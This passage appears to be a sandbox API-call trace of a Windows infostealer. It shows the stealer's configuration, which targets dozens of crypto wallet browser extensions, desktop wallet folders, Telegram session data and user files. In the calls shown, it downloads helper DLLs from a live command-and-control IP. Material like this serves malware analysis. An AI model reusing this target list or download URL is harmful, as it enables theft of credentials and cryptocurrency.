Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4867 [0259.237] LocalAlloc (uFlags=0x40, uBytes=0x2686) returned 0x6e8a60 [0259.237] StrCpyW (in: psz1=0x6be350, psz2="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll" | out: psz1="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll") returned="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll" [0259.237] LocalFree (hMem=0x6e8a60) returned 0x0 [0259.237] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6c56c8 [0259.237] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0259.237] lstrlenW (lpString="") returned 0 [0259.237] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6c58d8 [0259.238] lstrlenW (lpString="\\") returned 1 [0259.238] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0259.238] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6c0968 [0259.238] lstrlenW (lpString="softokn3") returned 8 [0259.238] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0259.238] LocalAlloc (uFlags=0x40, uBytes=0x158) returned 0x6c56c8 [0259.238] lstrlenW (lpString=".dll") returned 4 [0259.238] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\softokn3") returned 44 [0259.239] LocalAlloc (uFlags=0x40, uBytes=0x160) returned 0x6c0968 [0259.239] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6e8a60 [0259.240] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0259.240] lstrlenW (lpString="") returned 0 [0259.240] LocalAlloc (uFlags=0x40, uBytes=0x132) returned 0x6e08b0 [0259.241] lstrlenW (lpString="\r\n") returned 2 [0259.241] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0259.241] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6c56c8 [0259.241] lstrlenW (lpString="\r\n\r\n") returned 4 [0259.241] lstrlenW (lpString="Content-Type: text/plain;\r\n") returned 27 [0259.241] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6e08b0 [0259.241] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6c56c8 [0259.242] StrStrW (lpFirst="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll", lpSrch="://") returned="://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll" [0259.242] lstrlenW (lpString="51.195.166.178") returned 14 [0259.242] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0040 [0259.242] lstrlenW (lpString="Content-Type: text/plain;\r\n\r\n\r\n") returned 31 [0259.242] InternetOpenUrlW (hInternet=0xcc0040, lpszUrl="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll", lpszHeaders="Content-Type: text/plain;\r\n\r\n\r\n", dwHeadersLength=0x1f, dwFlags=0x84400000, dwContext=0x0) returned 0xcc0048 [0259.293] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\softokn3.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\softokn3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x2b4 [0259.341] StrStrW (lpFirst="softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.342] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4790 [0259.342] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension 